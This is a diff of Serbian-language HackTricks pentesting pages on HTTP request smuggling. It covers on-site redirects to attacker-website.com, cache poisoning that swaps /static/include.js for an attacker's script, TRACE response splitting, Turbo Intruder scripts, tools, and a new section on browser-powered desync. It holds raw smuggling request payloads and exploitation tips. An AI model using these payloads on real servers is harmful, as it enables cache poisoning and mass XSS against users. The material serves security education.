@ -424,11 +530,11 @@ Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne odgovara** sa **header-ima**, samo telom.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa unosom korisnika** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržavao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa korisničkim unosom** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
### Iskorišćavanje preusmeravanja na lokaciji sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog slash-a rezultira preusmeravanjem da uključi slash:
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog kosa crte rezultira preusmeravanjem da uključi kosu crtu:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -438,7 +544,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a za preusmeravanje korisnika na spoljašnju stranicu. Na primer:
Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a da preusmeri korisnike na eksternu stranicu. Na primer:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -452,7 +558,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt koji kontroliše napadač:
Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt pod kontrolom napadača:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -464,7 +570,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika tako što će poslužiti zlonamerni JavaScript kao odgovor.
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika pružajući zlonameran JavaScript kao odgovor.
### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -472,9 +578,9 @@ Trovanje web kešom može se izvršiti ako bilo koja komponenta **infrastrukture
Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 grešku (pogledajte [Osnovni primeri](#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa onim od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS).
Ova tehnika postaje posebno moćna ako se otkrije **Open Redirect ranjivost** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
Ova tehnika postaje posebno moćna ako se otkrije **ranjivost Open Redirect** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti da se zameni keširani sadržaj `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da poslužuje JavaScript kod pod kontrolom napadača:
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da služi JavaScript kod pod kontrolom napadača:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -496,7 +602,7 @@ Napomena o ugrađenom zahtevu koji cilja `/post/next?postId=3`. Ovaj zahtev će
Nakon uspešnog **socket poisoning-a**, treba inicirati **GET request** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte koju kontroliše napadač.
Nakon toga, svaki zahtev za `/static/include.js` će servirati keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad.
Nakon toga, svaki zahtev za `/static/include.js` će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad.
### Korišćenje HTTP request smuggling-a za izvođenje web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
@ -543,9 +649,9 @@ Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi to moglo b
### Iskorišćavanje TRACE putem HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) koji sugeriše još jedan način za zloupotrebu TRACE metode. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neka odražena podaci** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.
Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) koji sugeriše još jedan način za zloupotrebu TRACE metode. Kao što je komentarisano, prokrijumčarajući HEAD zahtev i TRACE zahtev moguće je **kontrolisati neke odražene podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.
Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev do sledećeg odgovora (što bi moglo biti iskorišćeno za izvršenje trovanja keša).
Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti iskorišćeno za izvođenje trovanja keša).
Primer:
```
@ -566,7 +672,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom HEAD tela, a kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje):
Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length što čini TRACE odgovor delom HEAD tela i kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -587,33 +693,33 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Naoružavanje HTTP Request Smuggling-a sa HTTP Response Desinkronizacijom
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Pokušajte ove druge metode eksploatacije:
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite. Pokušajte ove druge metode eksploatacije:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Druge HTTP Request Smuggling Tehnike
### Other HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Klijentska strana)
- Browser HTTP Request Smuggling (Client Side)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling u HTTP/2 Downgrade-ima
- Request Smuggling in HTTP/2 Downgrades
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder skripte
## Turbo intruder scripts
### CL.TE
Sa [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@ -698,12 +804,14 @@ table.add(req)
```
## Alati
- HTTP Hacker (Burp BApp Store) vizualizacija spajanja/okviranja i niskonivoa HTTP ponašanja
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je HTTP Fuzzer zasnovan na gramatici koji je koristan za pronalaženje čudnih razlika u smuggling zahtevima.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je HTTP Fuzzer zasnovan na gramatici koji je koristan za pronalaženje čudnih razlika u spajanju zahteva.
## Reference
@ -716,6 +824,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Beware the false falsepositive: how to distinguish HTTP pipelining from request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
**Proverite post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
Browser-powered desync (aka client-side request smuggling) koristi žrtvin pretraživač da bi dodao neispravno oblikovan zahtev na zajedničku vezu, tako da se naredni zahtevi analiziraju van sinhronizacije od strane komponenti nizvodno. Za razliku od klasičnog FE↔BE smuggling-a, payload-ovi su ograničeni onim što pretraživač može legalno poslati između različitih domena.
Ključna ograničenja i saveti
- Koristite samo zaglavlja i sintaksu koju pretraživač može emitovati putem navigacije, fetch-a ili slanja formi. Obfuscacije zaglavlja (LWS trikovi, dupliranje TE, nevažeći CL) obično neće biti poslate.
- Ciljajte krajnje tačke i posrednike koji reflektuju ulaze ili keširaju odgovore. Korisni uticaji uključuju trovanje keša, curenje zaglavlja umetnutih na front-end-u ili zaobilaženje kontrole putanje/metode na front-end-u.
- Ponovna upotreba je važna: uskladite kreirani zahtev tako da deli istu HTTP/1.1 ili H2 vezu kao zahtev visoke vrednosti žrtve. Ponašanja zaključana na vezu/državna ponašanja pojačavaju uticaj.
- Preferirajte primitivne metode koje ne zahtevaju prilagođena zaglavlja: konfuzija putanje, injekcija upitnog niza i oblikovanje tela putem form-encoded POST-ova.
- Validirajte stvarnu desinkronizaciju na serverskoj strani naspram običnih artefakata cevi ponovnim testiranjem bez ponovne upotrebe, ili korišćenjem HTTP/2 provere ugnježdenog odgovora.
Za tehnike od kraja do kraja i PoC-ove pogledajte:
- PortSwigger Research BrowserPowered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy clientside desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
## References
- [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- Distinguishing pipelining vs smuggling (background on reuse false-positives): https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
{{#include ../../banners/hacktricks-training.md}}